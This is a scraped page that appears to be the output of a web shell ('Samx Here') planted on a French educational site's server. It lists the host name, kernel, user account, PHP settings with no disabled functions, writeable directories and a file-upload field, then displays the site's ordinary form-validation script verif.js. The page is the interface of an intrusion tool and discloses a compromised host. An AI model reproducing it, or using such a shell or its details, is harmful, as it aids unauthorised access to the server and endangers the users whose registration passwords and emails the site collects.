Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/atice/outils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/atice/outils/verif.js
document.write('');

function verifForm(objForm) {

  if (objForm.signe.checked=="0") {
	alert("Vous devez cocher la case de la charte ");
        objForm.signe.focus();
        return false;
     }

    if (objForm.nom.value=="") {
	alert("Le nom est obligatoire !!");
        objForm.nom.focus();
        return false;
     }
   

    if (objForm.prenom.value=="") {
	alert("Le pr�nom est obligatoire !!");
        objForm.prenom.focus();
        return false;
     }


    if (objForm.mail.value=="") {
	alert("Quelle est votre adresse e-mail ?");
        objForm.mail.focus();
        return false;
     }

     if (objForm.motPasse.value=="") {
	alert("Il faut donner un mot de passe");
        objForm.motPasse.focus();
        return false;
     }

    if (objForm.motPasse2.value=="") {
	alert("H� oui, il faut l'�crire deux fois !");
        objForm.motPasse2.focus();
        return false;
     }

    if (objForm.institution.value=="") {
	alert("Le renseignement institution est obligatoire");
        objForm.institution.focus();
        return false;
     }

    if (objForm.codePostal.value=="") {
	alert("Code Postal obligatoire");
        objForm.codePostal.focus();
        return false;
     }

    if (objForm.ville.value=="") {
	alert("Vous devez indiquer votre ville");
        objForm.ville.focus();
        return false;
     }




    if (objForm.motPasse2.value!=objForm.motPasse.value) {
	alert("Les mots de passe ne sont pas identiques");
objForm.motPasse.value="";
objForm.motPasse2.value="";

        objForm.motPasse.focus();
        return false;
     }






     if (objForm.academie.value=="") {
	alert("Dans quelle acad�mie travaillez-vous ?");
        objForm.academie.focus();
        return false;
     }




  
}

// V�rification de la validit� de l'adresse email.

function verifMail(email){ 
   var a=document.forms[0].email.value; 
   var test="" + a; 
   
   for(var k = 0; k < test.length;k++) { 
      var c = test.substring(k,k+1); 

      if(c == "@") { 
                   return true; 
               } 
     } 
alert("Veuillez entrer un E-mail valide, Merci"); 
return false; 
}


//VERIFICATION DE VALIDITE D'UNE DATE....

function checkDate(objForm) {
// Cette fonction v�rifie le format JJ/MM/AAAA saisi et la validit� de la date.
// Le s�parateur est d�fini dans la variable separateur
var amin=1999; // ann�e mini
var amax=2005; // ann�e maxi
var separateur="/"; // separateur entre jour/mois/annee
var j=(objForm.value.substring(0,2));
var m=(objForm.value.substring(3,5));
var a=(objForm.value.substring(6));
var ok=1;
if ( ((isNaN(j))||(j<1)||(j>31)) && (ok==1) ) {
alert("Le jour n'est pas correct."); ok=0;
}
if ( ((isNaN(m))||(m<1)||(m>12)) && (ok==1) ) {
alert("Le mois n'est pas correct."); ok=0;
}
if ( ((isNaN(a))||(a<amin)||(a>amax)) && (ok==1) ) {
alert("L'ann�e n'est pas correcte."); ok=0;
}
if ( ((objForm.value.substring(2,3)!=separateur)||(objForm.value.substring(5,6)!=separateur)) && (ok==1) ) {
alert("Les s�parateurs doivent �tre des "+separateur); ok=0;
}
if (ok==1) {
var d2=new Date(a,m-1,j);
j2=d2.getDate();
m2=d2.getMonth()+1;
a2=d2.getYear();
if (a2<=100) {a2=1900+a2}
if ( (j!=j2)||(m!=m2)||(a!=a2) ) {
alert("La date "+d+" n'existe pas !");
ok=0;
}
}
return ok;
}

SAMX